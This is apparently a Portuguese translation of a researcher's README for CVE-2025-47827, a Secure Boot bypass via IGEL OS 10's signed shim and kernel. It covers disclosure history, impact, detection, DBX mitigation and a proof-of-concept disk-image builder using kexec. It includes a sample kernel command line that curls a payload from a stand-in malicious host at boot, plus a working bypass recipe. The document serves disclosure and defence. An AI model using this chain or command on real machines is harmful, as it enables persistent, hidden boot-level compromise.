PoC e relatório de vulnerabilidade para CVE-2025-47827.
Prova de conceito e relatório de vulnerabilidade para CVE-2025-47827.
No IGEL OS anterior à v11, o Secure Boot pode ser contornado porque o
módulo igel-flash-driver verifica incorretamente uma assinatura criptográfica.
Em última análise, um sistema de arquivos raiz especialmente criado pode ser montado a partir de uma
imagem SquashFS não verificada.
A verificação incorreta de assinatura criptográfica no módulo igel-flash-driver
do kernel Linux no IGEL OS 10 permite que um agente malicioso contorne
o Secure Boot, inicializando o shim assinado pela Microsoft 3rd Party UEFI CA, que
então carrega o GRUB e o kernel vulnerável, ambos assinados pela IGEL Secure Boot
Signing CA. Uma vez que o kernel vulnerável e o initramfs embutido sejam carregados, um
sistema de arquivos raiz malicioso pode ser montado a partir da imagem SquashFS não verificada no disco.
Como a chamada de sistema kexec_load está disponível no kernel vulnerável, o kernel
atualmente inicializado pode ser substituído por um totalmente não confiável, permitindo
na prática que qualquer sistema operacional inicialize, seguindo uma cadeia completa de
confiança.
Em versões posteriores do IGEL OS, o módulo verifica corretamente uma assinatura da imagem SquashFS do sistema de arquivos raiz. No entanto, tanto o kernel vulnerável quanto as versões corrigidas são assinados com o mesmo certificado, permitindo que o mesmo shim inicialize tanto as versões vulneráveis quanto as corrigidas.
A string de vetor inicial para CVE-2025-47827 era
AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H,
resultando em uma pontuação CVSS de 8.4 (alta).
Em 14 de outubro de 2025, isso foi alterado para
AV:P/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H,
reduzindo a pontuação para 4.6 (média).
Além disso, a fraqueza original foi definida como CWE-347: Verificação Incorreta de Assinatura Criptográfica, mas o MSRC atribuiu a ela CWE-324: Uso de uma Chave Após sua Data de Expiração.
Tanto a IGEL quanto a Microsoft foram contatadas e informadas sobre esta vulnerabilidade, em 6 de dezembro de 2024 e 31 de março de 2025, respectivamente, antes de os detalhes serem tornados públicos em 29 de maio de 2025.
Como o IGEL OS 10 não é suportado e a vulnerabilidade não existe diretamente no shim, nenhuma das partes sugeriu uma solução. A Microsoft respondeu o seguinte:
Após investigação, determinamos que este envio não atende à definição de vulnerabilidade de segurança para manutenção, pois o IGEL OS v10 não é mais suportado e o problema está no módulo do kernel e não no shim. Apenas o shim é assinado pelo certificado MSFT.
A IGEL publicou um aviso de segurança para CVE-2025-47827 em 2 de junho de 2025.
Em 13 de junho de 2025, reportei isso novamente à Microsoft e recebi a seguinte resposta:
Embora seu relatório contenha algumas boas informações, ele não atende aos requisitos da Microsoft como vulnerabilidade de segurança para manutenção. O problema relatado está no módulo do kernel e não no shim, e apenas o shim é assinado pelo certificado MSFT. O kexec já permite contornar o secure boot por design (Ref.: Linha de Comando kexec no Linux - Linux Expert Better 2025).
Isso atenderia aos critérios de manutenção do MSRC se o problema estivesse em um driver/componente de inicialização. Esta é uma vulnerabilidade no driver de kernel da distribuição Linux. Isso ocorre após o "ExitBootServices" da UEFI, o que significa que não é um contorno do Secure Boot. O usuário só tem execução de código no nível do sistema operacional, não na inicialização.
Desde a publicação de vários artigos de notícias sobre esta vulnerabilidade, os mantenedores do shim entraram em contato com a Microsoft e a IGEL para discutir uma solução.
Depois que uma solução foi alcançada, criei outro caso no MSRC em 20 de outubro de 2025, perguntando o motivo do atraso na revogação desses shims, as modificações na string do vetor CVSS e na CWE, e por que o guia de atualização afirmava que a vulnerabilidade não havia sido divulgada publicamente. Recebi a seguinte resposta:
A vulnerabilidade da IGEL que foi corrigida não é um contorno do Secure Boot. É um contorno de integridade do kernel específico do Linux e não afeta o Windows. Os shims da IGEL são antigos e não suportam a nova revogação baseada em SBAT. Portanto, a Microsoft emitiu as revogações para proteger contra possíveis explorações de outras vulnerabilidades que foram protegidas pelo SBAT.
Jeffrey Sutherland, Gerente de Programa Principal, respondeu no PR para explicar que, devido à falta de SBAT, os shims tiveram que ser revogados por DBX, e a IGEL solicitou tempo adicional para evitar consequências indesejadas. Eles também se desculparam por não manter comunicação entre o pesquisador e as partes envolvidas, conforme exigido pela Divulgação Coordenada de Vulnerabilidades.
Uma exploração de contorno do Secure Boot poderia levar ao desenvolvimento de um bootkit/rootkit em nível de kernel não detectado, o que, por sua vez, levaria a múltiplas implicações, tais como:
Sem revogação ou intervenção manual, o Secure Boot se tornou inútil em todas as máquinas que confiam na Microsoft 3rd Party UEFI CA, que é o padrão para a maioria dos dispositivos no momento em que este texto foi escrito.
Se usado para kexec, esta vulnerabilidade pode ser explorada para modificar
silenciosa e maliciosamente um sistema legítimo, sem afetar o Secure Boot.
O kernel poderia ser substituído por completo, permitindo que código malicioso seja executado no nível do kernel, concedendo acesso irrestrito a todos os recursos do sistema, incluindo memória, CPU e dispositivos conectados.
Isso permitiria que chaves de criptografia fossem extraídas da memória, que processos maliciosos fossem executados sem restrição e que o malware evitasse a detecção.
A linha de comando do kernel legítimo pode ser modificada
para desabilitar módulos de segurança ou alterar o parâmetro init, permitindo que uma
carga útil maliciosa seja executada após a montagem da raiz real.
Por exemplo (modprobe, DHCP, chmod, omitidos por brevidade):```sh
init=/bin/sh -- -c "curl http://malicious.site/payload > /path/to/executable; exec /sbin/init"
This could replace a legitimate executable, hijack PID 1 or automatically
start itself on boot, easily gaining root access.
`/proc/cmdline` can be [hijacked](https://wiki.archlinux.org/title/Kernel_parameters#Hijacking_cmdline)
with a bind mount to hide any modifications.
See the [Linux documentation](https://www.kernel.org/doc/html/latest/admin-guide/kernel-parameters.html)
for more information.
### Persistência
O impacto seria persistente enquanto os binários EFI e o kernel necessários
estiverem presentes e configurados para inicializar pelo firmware do sistema.
As atualizações do sistema operacional podem causar alterações na ordem de
inicialização ou no Banco de Dados de Assinaturas Proibidas do Secure Boot
(DBX), o que pode impedir a execução dos binários. No entanto, se o sistema
operacional também estiver comprometido, essa ação corretiva pode ser revertida.
Além disso, como a ordem de inicialização da EFI é configurável pelo sistema
operacional, por meio da modificação das variáveis EFI, um malware privilegiado
poderia obter persistência ou elevar ainda mais privilégios instalando os
arquivos de inicialização necessários e configurando a ordem de inicialização
de acordo.
## Detecção
Supondo que um rootkit perfeito em nível de kernel tenha sido criado para
explorar esta vulnerabilidade, os dados sobre o sistema em execução não podem
ser confiáveis.
Os métodos de detecção incluem:
- Verificação da presença de binários envolvidos
- Verificação de assinaturas/integridade de arquivos conhecidos, ex.: [rkhunter](https://rkhunter.sourceforge.net/)
- Análise comportamental, especialmente em ambientes de rede
No mínimo, os binários EFI assinados a serem inicializados pelo firmware do
sistema e o kernel IGEL devem estar presentes no sistema comprometido, mas,
devido ao [nível](https://en.wikipedia.org/wiki/Protection_ring) no qual o
código malicioso seria executado, o [rootkit](https://en.wikipedia.org/wiki/Rootkit)
poderia se ocultar em tempo de execução.
Outros indicadores de comprometimento dependem das ações do malware que
explorou esta vulnerabilidade. Por exemplo, o kernel inicializado pode ter sido
substituído, arquivos no sistema de arquivos raiz modificados ou programas
inesperados em execução.
## Mitigação
> [!IMPORTANT]
> A Microsoft lançou um [DBX assinado](https://github.com/microsoft/secureboot_objects/releases/tag/1.6.0-signed)
> revogando as assinaturas dos shims relevantes em 20 de outubro de 2025, após acordo
> com a IGEL.
>
> Para sistemas Windows, consulte o
> [guia de atualização do MSRC](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-47827).
>
> Para atualizar sistemas baseados em Linux com [fwupd](https://fwupd.org/), atualize
> [Linux Foundation (UEFI Revocation) Secure Boot dbx](https://fwupd.org/lvfs/devices/com.microsoft.dbx.x64.firmware)
> para a versão `20250902` ou posterior.
>
> Para obter mais informações, consulte [microsoft/secureboot_objects#272](https://github.com/microsoft/secureboot_objects/pull/272).
Para evitar que a cadeia de inicialização seja comprometida, o certificado
usado para assinar a imagem vulnerável do GRUB/kernel deve ser
revogado/não confiável, ou os hashes SHA-256 dos kernels (ou shims) afetados
devem ser adicionados à lista de negação do DBX ou MOKX.
Consulte a [documentação da Diretoria de Cibersegurança da NSA](https://github.com/nsacyber/Hardware-and-Firmware-Security-Guidance/blob/master/secureboot/Linux.md)
para obter mais informações.
Alternativamente, para impedir a execução do shim inicial, a Autoridade de
Certificação UEFI de Terceiros da Microsoft pode ser marcada como não
confiável, mas isso pode causar interrupções não intencionais em outros
aplicativos legítimos.
Alguns dispositivos têm essa opção nas configurações de firmware.
A [página do ArchWiki para sbctl](https://wiki.archlinux.org/title/Unified_Extensible_Firmware_Interface/Secure_Boot#Creating_and_enrolling_keys)
adverte o seguinte:
> [!WARNING]
> Alguns firmwares são assinados e verificados com as chaves da Microsoft quando
> o Secure Boot está habilitado. Não validar os dispositivos pode inutilizá-los.
Este é o [padrão para PCs com Secured-core](https://learn.microsoft.com/en-us/windows/security/operating-system-security/system-security/secure-the-windows-10-boot-process#secure-boot):
> O estado padrão do Secure Boot possui um amplo círculo de confiança, o que pode
> resultar em clientes confiando em componentes de inicialização de que talvez
> não precisem. Como o certificado da Autoridade de Certificação UEFI de
> Terceiros da Microsoft assina os bootloaders de todas as distribuições Linux,
> confiar na assinatura da Autoridade de Certificação UEFI de Terceiros da
> Microsoft no banco de dados UEFI aumenta a superfície de ataque dos sistemas.
> Um cliente que pretendia apenas confiar e inicializar uma única distribuição
> Linux confiará em todas as distribuições - mais do que sua configuração
> desejada. Uma vulnerabilidade em qualquer um dos bootloaders expõe o sistema e
> coloca o cliente em risco de exploração por um bootloader que ele nunca
> pretendeu usar, como visto em vulnerabilidades recentes, por exemplo
> [com o bootloader GRUB](https://msrc.microsoft.com/security-guidance/advisory/ADV200011) ou
> [rootkit em nível de firmware](https://www.darkreading.com/threat-intelligence/researchers-uncover-dangerous-new-firmware-level-rootkit)
> afetando componentes de inicialização.
> Os [PCs com Secured-core](https://learn.microsoft.com/en-us/windows-hardware/design/device-experiences/OEM-highly-secure-11)
> exigem que o Secure Boot esteja habilitado e configurado para não confiar na
> assinatura da Autoridade de Certificação UEFI de Terceiros da Microsoft, por
> padrão, para fornecer aos clientes a configuração mais segura possível de seus PCs.
### Inicialização Medida
Se o sistema for inicializado com o shim IGEL, as
[medições de PCR do TPM](https://wiki.archlinux.org/title/Trusted_Platform_Module#Accessing_PCR_registers)
serão alteradas.
O Windows usa [Inicialização Medida](https://learn.microsoft.com/en-us/windows/compatibility/measured-boot)
por padrão com o BitLocker, tornando as chaves de criptografia inacessíveis se o
sistema não for inicializado com os binários esperados.
Em sistemas baseados em Linux, o [systemd-cryptenroll](https://wiki.archlinux.org/title/Systemd-cryptenroll)
pode ser usado para inscrever uma chave LUKS no TPM e vinculá-la a vários PCRs
(PCR 7 por padrão).
A Inicialização Medida protege o sistema operacional legítimo de modificações,
liberando a chave de criptografia somente em um ambiente confiável. No entanto,
ela não impede a inicialização de um sistema operacional não autorizado; essa é
a responsabilidade do Secure Boot.
Portanto, um usuário ainda pode estar em risco, mesmo que seu sistema
operacional use a Inicialização Medida.
Por exemplo:
- Inicializar o shim IGEL e um sistema operacional malicioso, passando pelo Secure Boot
- Emular a aparência e o comportamento do sistema operacional genuíno
- O usuário insere credenciais que são enviadas ao atacante
- Opcionalmente, reinicializar no sistema operacional legítimo
Embora o sistema operacional legítimo não possa ser modificado com a
Inicialização Medida, pois a chave de criptografia está vinculada às medições de
PCR do TPM[^1], o sistema ainda pode inicializar software malicioso.
[^1]: As chaves de recuperação do BitLocker não estão vinculadas ao TPM.
### Imagem de Kernel Unificada
Uma [imagem de kernel unificada](https://uapi-group.org/specifications/specs/unified_kernel_image/)
pode ser usada para agrupar todos os recursos de inicialização (ou seja, kernel,
ramdisk inicial, linha de comando do kernel, etc.) em um único arquivo PE UEFI.
Essas imagens podem ser assinadas como qualquer outro executável EFI.
Para melhorar a segurança da inicialização e minimizar a superfície de ataque da
cadeia de inicialização, gere uma imagem de kernel unificada e assine-a com
chaves geradas pelo usuário, não confiando em nenhuma chave de fornecedor/OEM.
## Binários
Os binários envolvidos são os seguintes:
### Descrição
Em ordem de execução:
- `boot*.efi` -> shim assinado pela Microsoft
- `igel*.efi` -> GRUB assinado pela IGEL
- `bzImage` -> imagem Linux (initramfs embutido), assinada pela IGEL
O certificado do assunto `CN=IGEL Secure Boot Signing CA, O=IGEL Technology GmbH, L=Bremen, C=DE`
pode ser encontrado em [igelboot/shim](https://github.com/igelboot/shim/blob/igel-shim/igel-efi-pub-key.der).
A impressão digital SHA-256 deste certificado é
`5E:AE:E3:E0:EF:AA:58:85:E0:8A:CD:3F:FF:8D:1D:05:72:E0:14:2A:C8:E2:A5:42:A9:8C:9B:D4:2E:76:4D:F6`.
As assinaturas desses binários podem ser verificadas usando `sbverify`
(do [`sbsigntools`](https://git.kernel.org/pub/scm/linux/kernel/git/jejb/sbsigntools.git/)):```sh
# Convert to PEM format
openssl x509 -in igel-efi-pub-key.der -outform pem -out igel-efi-pub-key.pem
# Verify signatures
for image in igel*.efi bzImage; do
sbverify --cert igel-efi-pub-key.pem "${image}"
done
SHA-256 (de udc10.06.220.iso):```
3258be9cede92f0b557391e920750e46134cccc13d3a78e306b630ed7b338b85 bootia32.efi
0c1e0821cef69a0bc2798996c6ce0b60564b2a1a9d67ef89f3059023edab720c bootx64.efi
2a8e546e6bbdbb01f49338b0e3ef22d8fea69aa0a585831b89960610e2e5d9b5 igelia32.efi
5f57a2a40fa6d55d1082e0c87cfea8c77d4f32e38e21fd0b5f2c4d2007ebdf91 igelx64.efi
09e14e4870f93fbfd13b85121cb9f0e4a877dd8d6566bea2d2db8d27e14f1d92 bzImage
Os hashes de [`bootx64.efi`](https://github.com/microsoft/secureboot_objects/pull/272/files#diff-08415e6b0bb62538ad2345360571cf3619be29812066c32df990a84e7d6b7926R4461)
e [`bootia32.efi`](https://github.com/microsoft/secureboot_objects/pull/272/files#diff-08415e6b0bb62538ad2345360571cf3619be29812066c32df990a84e7d6b7926R5427)
foram revogados via DBX.
## Prova de Conceito
Um script shell de prova de conceito é fornecido para baixar a ISO de instalação do IGEL OS,
extrair e criar uma imagem de disco inicializável, com um sistema de arquivos raiz SquashFS modificado.
Alternativamente, em vez de uma imagem de disco, a ISO poderia ser reempacotada com uma Partição
de Sistema EFI anexada à imagem. Um MBR híbrido também poderia ser usado para manter o suporte a
sistemas BIOS legados, mas isso está além do escopo deste projeto. A ISO de instalação contém um
bootloader ISOLINUX para sistemas legados, que faz chainload de um `core.img` do GRUB.
### Overlays
Diretórios de overlay de exemplo são fornecidos para demonstrar a inicialização de um ambiente
Arch Linux ao vivo via HTTP.
O script `init` carregará o kernel especificado nos parâmetros da linha de comando do kernel com
`kexec` e então reiniciará. O kernel substituto não precisa ser assinado, se `--kexec-syscall` for
passado em vez de `--kexec-file-syscall`.
O arquivo de configuração do GRUB é armazenado na Partição de Sistema EFI, que pode ser facilmente
modificado. Outros arquivos podem ser colocados na ESP, como kernel, initramfs ou imagens SquashFS,
para serem inicializados a partir do primeiro sistema de arquivos raiz com `kexec`. Isso permite
fazer chainload de outro sistema localmente, que pode ser atualizado como um sistema normal, sem
reconstruir a ISO a cada vez.
Alternativamente, os arquivos necessários podem ser baixados via HTTP com `curl` e então
inicializados, para uma imagem de disco menor.
Este é um exemplo inocente de como a vulnerabilidade poderia ser explorada, mas o script `init` ou
o kernel `kexec` poderiam ser modificados para demonstrar comportamento malicioso.
### Dependências
O script requer os seguintes pacotes:
- [`bash`](https://www.gnu.org/software/bash/bash.html)
- [`coreutils`](https://www.gnu.org/software/coreutils/) (`dd`, e todo o resto)
- [`dosfstools`](https://github.com/dosfstools/dosfstools) (`mkfs.fat`)
- [`igelfs-cli`](https://github.com/Zedeldi/igelfs)
- [`libisoburn`](https://dev.lovelyhq.com/libburnia/libisoburn) (`osirrox`, `xorriso`)
- [`squashfs-tools`](https://github.com/plougher/squashfs-tools) (`mksquashfs`, `unsquashfs`)
- [`sudo`](https://www.sudo.ws/sudo/)
- [`unzip`](https://infozip.sourceforge.net/UnZip.html)
- [`util-linux`](https://github.com/util-linux/util-linux) (`fdisk`, `losetup`)
- [`wget`](https://www.gnu.org/software/wget/wget.html)
Eles devem estar disponíveis para qualquer distribuição em seus repositórios oficiais de pacotes.
`igelfs-cli` pode ser instalado em um ambiente virtual a partir do
[PyPI](https://pypi.org/project/igelfs/):```sh
python -m venv .venv
source .venv/bin/activate
pip install igelfs
mkdiskimage: [-s SIZE] [-l LABEL] [-e ESP_OVERLAY] [-r ROOT_OVERLAY] PATH [SQUASHFS]
### Exemplo
Construa uma imagem de disco de 500 MB, copiando o conteúdo de `esp` e `root` para a
Partição de Sistema EFI e o SquashFS, respectivamente:```sh
mkdiskimage -s "500M" -e "esp" -r "root" "disk.img"
A imagem resultante iniciará uma máquina com Secure Boot habilitado, que confia na CA UEFI de Terceiros da Microsoft.
A imagem de disco bruta pode ser gravada em um dispositivo físico ou convertida para uso com uma máquina virtual.
Consulte a página de versões para obter uma imagem de disco inicializável de exemplo e cópias dos binários relevantes.
O exemplo contém uma imagem SquashFS modificada do IGEL OS para baixar e iniciar
o Arch Linux por HTTPS com kexec. O espelho é encontrado na configuração do GRUB.
mkdiskimage baixa o arquivo UDC do IGEL OS 10, contendo o ISO de instalaçãoosirrox, para obter os binários EFI, ddimage.bin
e bzImageigelfs-cli, o SquashFS do sistema
é extraído de ddimage.bin, que é então extraído com unsquashfsmksquashfs e um novo ddimage.bin é criado
usando igelfs-cli, com o SquashFS como partição nº 1 (sys)ddimage.bin é adicionado a uma imagem ISO com xorrisoO ISO contém apenas o ddimage.bin e a dica do arquivo boot_id, enquanto
a ESP contém os binários EFI e arquivos para o GRUB.
O sistema de arquivos raiz poderia ser criado com buildroot para reduzir bastante o tamanho do arquivo.
Os módulos do kernel para o bzImage serão adicionados à imagem SquashFS para adicionar
suporte a sistemas de arquivos, redes, etc., juntamente com quaisquer outros
requisitos.
Um defconfig de exemplo para construir um SquashFS raiz, com kexec e sem script init,
pode ser encontrado em buildroot. Use um diretório de overlay para adicionar outros
arquivos, ex.: script init, usando BR2_ROOTFS_OVERLAY ou mkdiskimage.
O binário de espaço de usuário kexec não está disponível por padrão na partição do sistema
do IGEL OS 10, portanto, se isso for necessário, ele também pode ser adicionado à imagem
SquashFS corrigida.
O binário kexec pode ser empacotado com suas dependências de bibliotecas usando
staticx, para evitar bibliotecas
compartilhadas ausentes na imagem SquashFS do IGEL OS:```sh
staticx "$(which kexec)" "./root/sbin/kexec"
Nota: devido à pesquisa de substrings `parse_cmdline` do initramfs do IGEL,
especificar `init` _em qualquer lugar_ na linha de comando do kernel será interpretado pelo
primeiro initramfs, portanto `init` não pode ser passado ao kernel `kexec` através dos
primeiros parâmetros do kernel.
### SSL
Se for necessário SSL, por exemplo para HTTPS, adicione `/etc/ssl/certs/ca-certificates.crt`
à imagem SquashFS.
### Requisitos
O ISO deve ser a primeira partição, tornando a Partição de Sistema EFI (ESP)
não convencionalmente a partição #2. Isso se deve a como o script `init` do initramfs
procura dispositivos.
Da mesma forma, quando instalado, o IGEL OS cria duas ESPs nas partições #2 e #3.
O GRUB exige que `/boot/igel-ud-converter` esteja presente no mesmo sistema de arquivos
que `/boot/grub/igel.conf`:```
search --file --set search /boot/igel-ud-converter
set cmdpath=($search)
configfile $cmdpath/boot/grub/igel.conf
O script init do initramfs embutido do bzImage exige que um arquivo correspondente ao boot_id passado na linha de comando do kernel, prefixado com um ponto (.), esteja presente no sistema de arquivos ISO. O boot_id deve começar com IGEL_UDC_TO, por exemplo .IGEL_UDC_TO_210319143827.
Esses arquivos podem estar vazios, mas devem estar presentes.
O SquashFS também deve ter um diretório /igfimage para o script init do initramfs, caso contrário a mudança de raiz falhará.
Um usuário poderia explorar essa vulnerabilidade intencionalmente para inicializar um sistema operacional baseado em Linux em sua máquina, sem configurar o Secure Boot.
Além disso, como um ambiente Linux completo será efetivamente usado como bootloader, o script init pode ser customizado para lidar com o carregamento do próximo kernel de maneiras mais complexas do que um bootloader convencional permitiria, por exemplo, rede, criptografia, etc. Por outro lado, isso pode ser usado para ocultar indicadores de comprometimento, obtendo ativos em tempo de execução em vez de armazená-los em disco.
Vários projetos já usam kexec para esse fim, como kexecboot e petitboot.
Detalhes da vulnerabilidade:
Mitigação:
Análises de atualização:
Artigos de notícias:
Software e projetos relacionados:
CVE-2025-47827 está licenciado sob a Licença MIT para que todos possam usar, modificar e compartilhar livremente.
Este projeto é distribuído na esperança de que seja útil, mas sem qualquer garantia.
[!IMPORTANT] Por favor, seja responsável com esta informação. Divulgar esta vulnerabilidade tem como objetivo aconselhar os usuários e sugerir possíveis mitigações para evitar danos.
Seja uma boa pessoa.
Se você considerou este projeto útil, por favor considere doar. Qualquer quantia é muito apreciada! Obrigado 😃
fdisk
dd)